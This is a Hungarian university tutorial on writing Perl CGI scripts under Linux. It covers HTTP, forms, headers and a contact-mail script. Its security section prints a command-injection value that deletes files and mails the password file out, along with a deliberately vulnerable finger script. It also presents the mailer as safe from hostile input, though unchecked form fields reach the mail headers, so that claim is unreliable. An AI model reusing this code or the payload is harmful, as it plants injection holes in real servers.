CGI programozás linux alatt

  1. Bevezetõ

    Itt a CGI programozás alapjairól olvashatsz. Hogy mi az a CGI? Ez a Common Gateway Interface rövidítése, ami egy mód arra, hogy dinamikus honlapokat készítsünk. Mindössze a Linux, WWW, és egy programozási nyelv alapszintû ismeretére van szükség ahhoz, hogy hasznosíthasd az ittlévõket.

  2. CGI vagy Javascript?

    Sokan kérdezhetik, mi értelme lehet ilyesminek, hiszen Javascriptben csillogó-villogó alkalmazásokat készíthetünk. De a CGI egész másról szól. A Javascript programok a kliens gépen, míg a CGI program a szerveren fut, így képes az ott lévõ fájlokból olvasni, illetve oda írni. Így formokon keresztül képesek leszünk kommunikálni a felhasználóval, készíthetünk számlálót, vendégkönyvet, stb.

  3. A Web szerver mûködésérõl

    Mi történik, ha a browserben meg akarunk nézni egy honlapot? Legyen ez például a http://home.page.hu/dir/homepage.html cím. A böngészõ elõször letölti a html-t, majd esetlegesen a rajta lévõ képeket, az alábbi módon. A kliensgép (azaz a miénk) telnet kapcsolatot létesít a home.page.hu szerver 80-as portjával (ez a web alapértelmezett portja), és az itt láthatóhoz hasonló szöveget küld el:
    GET /dir/homepage.html HTTP/1.0
    Accept: text/html
    Accept: image/gif
    User-Agent: Lynx/2.4 libwww/2.14
    
    A legutolsó sor végére tesz még egy üres sort. A legfontosabb ezek közül az elsõ sor. A web szerver innen tudja, hogy melyik fájlt kell elküldeni. Amennyiben megtalálja, valami ilyesmit válaszol:
    HTTP/1.0 200 OK
    Date: Tuesday, 25-January-2000 19:27:00 GMT
    Server: Apache/1.0
    MIME-version: 1.0
    Content-type: text/html
    Content-Length: 123
    
    <HTML><HEAD>My homepage</HEAD>
    <BODY>Welcome to my homepage</BODY>
    </HTML>
    
    Hogyan tudnánk elérni, hogy a programunk ebbe a mechanizmusba beleszóljon? Erre találták ki a CGI-t. A web szerveren be tudjuk állítani, hogy bizonyos könyvtárak, illetve bizonyos kiterjesztések esetén ne a fájl tartalmát küldje el, hanem futtassa le azt, és a standard outputra írt adatokat küldje el.
    Apache szerver esetén az access.conf fájlban állíthatjuk ezt be, de mivel ehhez - normális esetben ;) - root jogkör kell, nem mindig tudjuk módosítani az alapértelmezést. éppen ezért van egy másik mód. Ha a html könyvtárunkba (általaban ~/public_html), vagy annak egy alkönyvtárába elhelyezünk egy .htaccess nevû fájlt, az alábbi tartalommal, már meg is oldottuk a problémát:
    AddType application/x-httpd-cgi .cgi
    Options ExecCGI
    
    Ettõl kezdve az Apache tudni fogja, mit kell tennie az adott könyvtárban .cgi-re végzõdõ fájlokkal.
    A többi web szervernél is hasonló módon megy a konfigurálás, ezzel kapcsolatban itt találhatsz információkat.

  4. Milyen nyelvet használjunk?

    Bármilyen nyelven írhatjuk CGI scriptünket, amihez létezik fordító, vagy interpreter linux alá, hiszen az a lényeg, hogy egy futtatható állományt tudjunk készíteni. Mivel (nem) érdemes kezdeni?
    Írhatjuk például shell scriptben a programot, de ez nem ajánlott, hiszen a paraméterek kiértékelésénél pipe-okkal kell dolgoznunk, és képzeljük csak el, mi történik, ha valaki a következõ paraméterrel lep meg: ";rm *" . E mellett nem is tudunk igazán könnyedén dolgozni.
    Használhatjuk C/C++ nyelvek egyikét, így gyors programot írhatunk, de a megírása sokkal nagyobb energiát emészt fel, mintha például Perlben dolgoznánk. Itt bonyolult stringmûveleteket hajthatunk végre egyetlen sorban, így programjaink rövidek, egyszerûek, áttekinthetõek lesznek, és e mellett rengeteg idõt takaríthatunk meg.
    Egyetlen hátrányként azt említhetjük csak meg, hogy lassabb lesz így a script, de ez csak akkor jelent igazán gondot, ha sokan látogatják az oldalt. Óránként egy-két látogató miatt kár lenne C-ben oldalakat gépelni egy két soros perl program helyett...

    Érthetõ módon a továbbiakban közölt példaprogramok perl nyelven íródtak.

  5. Mire figyeljünk?

    A legelemibb hiba a jogosultságok rossz beállítása. A web szerver, és ezáltal a scriptünk is normális esetben - biztonsági okokból - egy alacsony jogosultságú userként fut. Ezért figyelni kell, hogy a script, illetve a script által kezelt fájlok milyen maszkkal rendelkeznek.

  6. Az elsõ próbálkozás

    Készítsünk valami kis egyszerû programot. Például írjuk ki a pontos idõt!
    #!/usr/bin/perl
    print "Content-type: text/plain","\n\n" ;
    $pontosido =  `/bin/date` ;
    print "Udvozollek! A pontos ido : " , $pontosido , "\n" ;
    exit (0) ;
    
    Mi is történik itt?
    A "Content-type: ... " rész a már ismertetett http fejléc része. Arra való, hogy tudassuk a klienssel, (azaz a böngészõ programmal), milyen típusú fájlt küldünk. Például:
    text/plain: Egyszerû szöveg
    text/html: HTML oldal
    image/gif, image/jpeg, stb: kép
    ...
    
    A "Content-type"-on kívül még írhatunk néhány paramétert (ezekrõl késõbb), a lényeg, hogy az egészet egy üres sor (\n) zárja le!

    A fejléc után jön maga az adat, jelen esetben /bin/date program outputját küldjük el a saját szövegünkbe illesztve.

  7. Számláló készítése

    A legtöbben szeretnek számlálót rakni az oldalukra. CGI nélkül ez nem lenne megoldható, de így gyerekjáték!
    Íme egy egyszerû példa, ami mindössze egy számot ír ki. Persze elegánsabb képként elküldeni, de ezt mindenki oldja meg maga.
    #!/usr/bin/perl
    
    $counter="counter.dat";
    
    print "Content-type: text/plain", "\n\n";
    
    open(FILE, $counter) || die "Nem tudok olvasni a szamlalo-fajlbol.\n";
    flock(FILE,2);
    $visitors=<FILE>;
    flock(FILE,8);
    close(FILE);
    $visitors++;
    
    open(FILE,">" . $counter) || die "Nem tudok irni a szamlalo-fajlba.\n";
    flock(FILE,2);
    print FILE $visitors;
    flock (FILE,8);
    close(FILE);
    
    print " $visitors \n\n";
    
    exit(0);
    

  8. Környezeti változók

    Fontos lenne, hogy a kliens által küldött információkat láthassuk. Ezeket környezeti változókon keresztül kérdezhetjük le. Íme a legfontosabbak:

    SERVER_NAME Szerver hostname/IP cím
    REQUEST_METHOD Az oldal lekérésének módja, bõvebben errõl majd a formoknál
    PATH_INFO Ha van egy CGI programunk (/cgi-bin/prg.cgi), akkor arra a kliens az alábbi módon is hivatkozhat: GET /cgi-bin/prg.cgi/dir1/dir2/stb. Ekkor ez a változó a "/dir1/dir2/stb" értéket fogja tartalmazni. Így egy könyvtár vagy fájl nevét adhatjuk át paraméterként a programnak.
    QUERY_STRING Ha a GET /cgi-bin/prg.cgi?param hivatkozással próbált a kliens adatot kérni, a kérdõjel utáni szöveg kerül ide. Helyes lenne a GET /cgi-bin/prg.cgi/dir1/dir2/stb?param is, ekkor PATH_INFO-t is kapnánk.
    REMOTE_HOST A kliens hostja. általában nem látjuk, ez a szerver beállításától függ.
    REMOTE_IP A kliens IP címe, ezt mindig lekérdezhetjük
    CONTENT_TYPE, CONTENT_LENGTH Ha a kliens küld valamilyen adatot (újabb browserekkel például fájlokat tölthetünk fel ilyen módon), annak a típusa és hossza
    HTTP_ACCEPT Milyen típusú adatokat képes a böngészõ értelmezni
    HTTP_USER_AGENT A böngészõ neve, verziószáma

  9. Ûrlapok a honlapon

    Képzeljük el az alábbi honlapot:
    <HTML>
    <HEAD><TITLE>Elso urlap</TITLE></HEAD>
    <BODY BGCOLOR="#7F7F7F">
    <CENTER>
    
    <FORM ACTION="/cgi-bin/form.cgi" METHOD="GET">
    Vezetéknév:
    <BR><INPUT TYPE="text" NAME="vezeteknev" SIZE=20>
    <P>
    Keresztnév:
    <BR><INPUT TYPE="text" NAME="keresztnev" SIZE=20>
    <P>
    <INPUT TYPE="submit" VALUE="Mehet"><INPUT TYPE="reset" VALUE="Mégsem">
    
    </FORM>
    
    </CENTER>
    </BODY></HTML>
    
    Ezt a Netscape az alábbi módon jeleníti meg:

    A SUBMIT típusú gomb megnyomása után a FORM tag ACTION kulcsszava után megadott címet próbálja a böngészõ elérni. A paramétert úgy adja át, hogy a címhez hozzáilleszt egy kérdõjelet, és a paramétereket.
    Ha a fenti formba beírjuk mondjuk azt, hogy Olajos Alajos, akkor az a /cgi-bin/form.cgi?vezeteknev=Olajos&keresztnev=Alajos címet próbálja a böngészõ letölteni. Próbáljuk kiértékelni az adatokat!

    #!/usr/bin/perl
    
    print "Content-type: text/html","\n\n" ;
    
    print "" , "\n" , "" , "\n";
    
    $query = $ENV{'QUERY_STRING'};
    
    ($param1, $param2) = split (/&/, $query);
    ($id1,$val1) = split (/=/, $param1);
    ($id2,$val2) = split (/=/, $param2);
    
    print "A kapott paraméterek: 
    " , "\n" , $id1 , " = " , $val1 , "
    " , $id2 , " = " , $val2 , "\n"; print ""; exit (0) ;

    A paraméterben elõforduló speciális karaktereket a böngészõ kódolva küldi. A space helyett + jelet, az egyéb speciális karakterek helyett azok hexadecimális kódját kapjuk, % jellel a szám elõtt.

  10. GET vagy POST?

    Mi a helyzet, ha sok adatot akarunk egy formon keresztül elküldeni? Nyilván nem járható az, hogy az URL-t tetszõlegesen megnyújtjuk. Ilyenkor a HTML-ben a formot az alábbi módon deklaráljuk:
    <FORM ACTION="/cgi-bin/form.cgi" METHOD="POST">
    
    ...
    
    </FORM>
    
    
    A POST metódus azt jelenti, hogy a böngészõ nem a GET valami.cgi?paraméterek parancsot küldi, hanem POST valami.cgi, és a fejléc után kapjuk meg a paramétereket.
    A CGI programban ilyenkor nem a QUERY_STRING környezeti változóban kapjuk meg az adatokat, hanem - ugyan ilyen formában - a standard inputról olvashatjuk. A REQUEST_METHOD változó a mindenkori metódus nevét tartalmazza (GET vagy POST), míg a CONTENT_LENGTH az adatfolyam hosszát.

  11. Biztonság

    Nagyon fontos kérdés, hogy mikor az ember CGI programokat ír, soha ne feledkezzen meg a kockázati tényezõkrõl. Vegyünk egy egyszerû példát!
    #!/usr/bin/perl
    
    $user = $ENV {QUERY_STRING}
    
    print "Content-type: text/html" , "\n\n";
    print `/usr/bin/finger $user`;
    
    Itt a CGI-t x.cgi?username módon kell meghívni, és válaszul az adott ember finger infóját küldi el. De mi van, ha egy gonosz látogató az alábbi sort adja paraméterül:
    ;rm *;mail -s "Itt jon a juzerlista" en@mail.cimem.hu > /etc/passwd
    
    Bizony, ennek csúnya vége lesz!

  12. Egyéb header paraméterek

    A Content-type-on kívül még elég sok paramétert küldhetünk. Lássunk hát egy párat!

    Content-length
    A küldött adatok hossza. Így a browser tudja jelezni, hogy hol tart a letöltés. Például:
    print "Content-type: text/html" , "\n";
    print "Content-length: 28" , "\n\n";
    
    ...
    
    Státusz kódok
    Küldhetünk egy ún. státusz kódot, hogy tudassuk a klienssel, sikeres volt-e a letöltés. Íme néhány:
    200 - Success
    204 - No Response
    301 - Document Moved
    400 - Bad Request
    401 - Unauthorized
    403 - Forbidden
    404 - Not Found
    500 - Internal Server Error
    501 - Not Implemented
    
    Egy példa a használatra:
    print "Content-type: text/plain" , "\n";
    print "Status: 400 Bad Request" , "\n\n";
    print "Szerdan nem dolgozom!"
    
    A legfontosabb ezek közül talán a 204-es. Ha ezt küldjük el, a browser nem csinál semmit!

    Cache letiltás
    A legtöbb browser nem tölti mindig újra le az adott dokumnetumot, ha ismét meg kell mutatnia. Ez dinamikus lapok esetén gond lehet. A megoldás egyszerû:
    print "Content-type: text/html" , "\n";
    print "Pragma: no-cache" , "\n\n";
    
    ...
    
    Ekkor a böngészõ minden egyes megjelenítéskor újra tölti a lapot. De van egy másik megoldás is. Ha a lapon lévõ információk egy bizonyos idõpontig érvényesek, akkor a következõ módon kell eljárnunk:
    print "Content-type: text/html" , "\n";
    print "Expires: Monday, 31-Jan-2000 17:17:17 GMT" , "\n\n";
    
    ...
    
    átirányítás
    Megtehetjük azt is, hogy ne a programunk standard outputját küldje el a webszerver, hanem egy másik fájlt. Ennek akkor lehet haszna, ha például valamit csinál a script, és utána egy köszönõ oldalt kell megmutatni a felhasználónak. Persze ebbõl a browser semmit sem lát. Ilyenkor nem szabad Content-type headert küldeni!
    print "Location: /thanks.html" , "\n\n";
    

  13. Levélküldés

    Szinte minden honlapon van egy link, ahol levelet küldhetünk az oldal készítõjének. ám az olvasó legtöbbször olyan browsert használ, ami nincs jól konfigurálva levélküldéshez.
    Kézenfekvõnek látszik, hogy készítsünk egy formot, aminek a tartalmát elküldjük majd a webmesternek (jelen esetben magunknak ;).
    Az itt lévõ programot tekinthetjük az eddigiek összefoglalásának, hiszen minden lényeges dologból van benne egy kicsike.

    A mûködésérõl talán annyit, hogy ha GET metódussal hívódik (azaz egy sima link mutat rá), akkor kirajzolja csak a kérdõívet, míg POST-nál kiértékeli a kapott adatokat, majd elküldi a levelet. Mivel a sendmail közvetlenül hívódik, nem kell bajlódni a "gonosz" karakterekkel.

    #!/usr/bin/perl
    
    $webmaster = "webmaster\@domain\.com";
    $subject = "Megjegyzes a honlappal kapcsolatban";
    
    $request_method = $ENV{'REQUEST_METHOD'};
    $sendmail = "/usr/lib/sendmail -t -n";
    
    if ($request_method eq "GET")
    {
      &mailform();
    }
    else
    {
      &get_params(*MAIL);
    
      if ( (!$MAIL{'name'}) || (!$MAIL{'email'}) )
        {
          &hiba(500, "HIBA!", "Sz&uuml;ks&eacute;g van a felad&oacute; adataira!");
        }
        else
        {
          &send_mail();		
          &uzenet();
        }
    }
    
    exit(0);
    
    sub mailform
    {
      print "Content-type: text/html", "\n\n";
     
      print <<MAILFORM;
    <HTML>
    <HEAD><TITLE>Uzenet a webmesternek</TITLE></HEAD>
    <BODY>
    
    <H1>&Uuml;zenet a webmesternek</H1>
    <P>
    
    <FORM METHOD="POST">
    <PRE>
    C&iacute;mzett:    $webmaster
    T&eacute;ma:       $subject
    
    Felad&oacute;:     <INPUT TYPE="text" NAME="name" SIZE=40>
    E-Mail:     <INPUT TYPE="text" NAME="email" SIZE=40>
    
    <P>
    
    <TEXTAREA ROWS=10 COLS=60 NAME="message" WRAP=VIRTUAL></TEXTAREA>
    
    </PRE>
    
    <INPUT TYPE="submit" VALUE="Mehet">
    <INPUT TYPE="reset"  VALUE="T&ouml;rl&eacute;s">
    </FORM>
    </BODY></HTML>
    
    MAILFORM
    }
    
    sub send_mail
    {
      open (SENDMAIL, "| $sendmail");
    
      print SENDMAIL <<MAILVEG;
    From: $MAIL{'name'} <$MAIL{'email'}>
    To: $webmaster
    Reply-To: $MAIL{'email'}
    Subject: $subject
    X-Remote-Host: $ENV{'REMOTE_ADDR'}
    $MAIL{'message'}
    MAILVEG
    
      close (SENDMAIL);
    }
    
    sub uzenet
    {
      print <<UZENET;
    <HTML>
    <HEAD><TITLE>Elkuldve&lt;/TITLE></HEAD>
    <BODY>
    Az &uuml;zenetet post&aacute;ztam a webmesternek!
    </BODY></HTML>
    UZENET
    }
    
    sub hiba
    {
      local ($status, $ok, $magyarazat) = @_;
    
      print "Content-type: text/html", "\n";
      print "Status: ", $status, " ", $ok, "\n\n";
    
      print <<ERROR;
    <TITLE>MAILER HIBA!</TITLE>
    <H1>Hiba!</H1>
    <H1>$magyarazat</H1>
    ERROR
    
        exit(1);
    }
    
    sub get_params
    {
      local (*param) = @_;
      local ($query,@parok,$par,$nev,$ertek);
      
      $query = <STDIN>;
      
      @parok = split ( /&/ , $query );
      
      foreach $par (@parok)
      {
        ( $nev , $ertek ) = split (/=/, $par);
        $ertek =~ tr/+/ /;
        $ertek =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
        
        $param{$nev} = $ertek;
      }
      
    }
    

  14. Felhasznált források

    Shishir Gundavaram: CGI Programming on the World Wide Web (O'Reilly & Associates, Inc.)

    No és persze rengeteg tapasztalat

  15. Hasznos linkek

    Web szerver információk
    NCSA httpd
    CERN Server
    Apache Server

    FAQ
    Perl FAQ
    CGI Security FAQ
    WWW FAQ

    Specifikációk
    CGI
    HTML
    URL

  16. A készítõkrõl

    Ezt az oldalt Vizsy Krisztián és Szabó Viktor készítette a Linux haladó specire, az 1999/2000-es tanév elsõ félévében.